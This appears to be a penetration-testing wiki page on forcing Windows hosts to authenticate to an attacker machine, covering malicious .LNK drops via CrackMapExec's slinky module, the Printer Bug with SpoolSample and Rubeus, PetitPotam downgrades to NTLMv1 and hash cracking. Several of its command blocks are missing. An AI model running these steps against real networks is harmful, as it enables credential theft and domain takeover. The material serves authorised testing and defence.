Coercing Authentication

Harvest NTLMv2/v1 Hashes with Write Access to Shares

The following examplearrow-up-right demonstrates performing this attack with CrackMapExec, however, it can also be performed by crafting a custom .LNK file.

1. Enumerate the hosts shares

crackmapexec smb $ip -u $username -p $password --shares

2. Create a malicious .LNK file calling back to your Responder.py IP

crackmapexec smb $ip -u $username -p $password -M slinky -o NAME=$share SERVER=[ResponderIP]

3. After waiting and (hopefully) obtaining several NTLM hashes, cleanup the malicious file

crackmapexec smb $ip -u $username -p $password -M slinky -o NAME=$share SERVER=$responder_ip CLEANUP=True

Notes

  • Put an underscore as the first character in the file name (e.g., NAME=_bonus.xlsx and it will put the file at the top of the directory, making it more likely to render and send a hash to the malicious server.

The Printer Bug

If a machine that we have compromised is configured with unconstrained delegation we are able to capture any of the TGTs from machines/accounts that have authenticated to it. If we're able to obtain a TGT from a machine account, we can craft service tickets and obtain administrative access to it - this also works for domain controllers.

It should be noted that in order to successfully exploit the printer bug, we must have already obtained a session as or valid domain user credentials.

Enumerate Print Spooler Service

Enumerate Print Spooler service with ItWasAllADream:

# Enumerate Print Spooler with ItWasALlADream
docker run -it itwasalladream -u $username -p $password -d $domain $target -v

# Enumerate with CrackMapExec
crackmapexec smb $ip -u $username -p $password -M spooler

# Enumerate Print Spooler with Impacket
python rpcdump.py @$target | egrep 'MS-RPRN|MS-PAR'

# SpoolerScan.ps1
.\SpoolerScan.ps1

Exploiting the Printer Bug with SpoolSample.exearrow-up-right

1. We first need to monitor for any new TGTs on the system that has unconstrained delegation configured. Rubeus provides us with the handy functionality to accomplish this:

2. We can then execute SpoolSample.exe on the host to coerce authentication:

3. After running SpoolSample.exe we should then aobserve a TGT on the attacker controlled system.

Remotely Exploiting the Printer Bug

Alternatively, we can accomplish this same exploitation path remotely using Impacket's ntlmrelayx to relay the credentials:

PetitPotam

While PetitPotamarrow-up-right itself has been rendered a little redundant due to tools like Coercer accomplishing the same, yet more. It is still important to discuss as it's still all that's needed to compromise a significant amountarrow-up-right of Active Directory environments. One of the most simple yet effective attack paths with PetitPotam would look like the following:

1. The tester first identifies all of the domain controllers in the domain, this can be done either through DNS or by identifying common ports associated with DC's such as 88/tcp.

2. Modify the configuration of your Responder installation so that the challenge paramter is set to the following value and run Responder in Analyze mode with the --lm flag to attempt to downgrade the authentication:

3. The tester can then attempt to force authentication from the domain controllers to the attacker controlled server using PetitPotam:

4. The output received should look like the following:

5. With the NTLMv1 hash now retrieved, the tester can utilize the ntlmv1-multiarrow-up-right tool to obtain the appropriate format for cracking:

6. This hash can then be cracked via Hashcat with the instructions displayed on screen or alternatively can be submitted to crack.sharrow-up-right.

Trigger NTLM Authentication over HTTP

Coercer

Coercerarrow-up-right is a Python script which automagically attempt to coerce an arbitrary machine to an attacker controlled device in several ways.

References

Last updated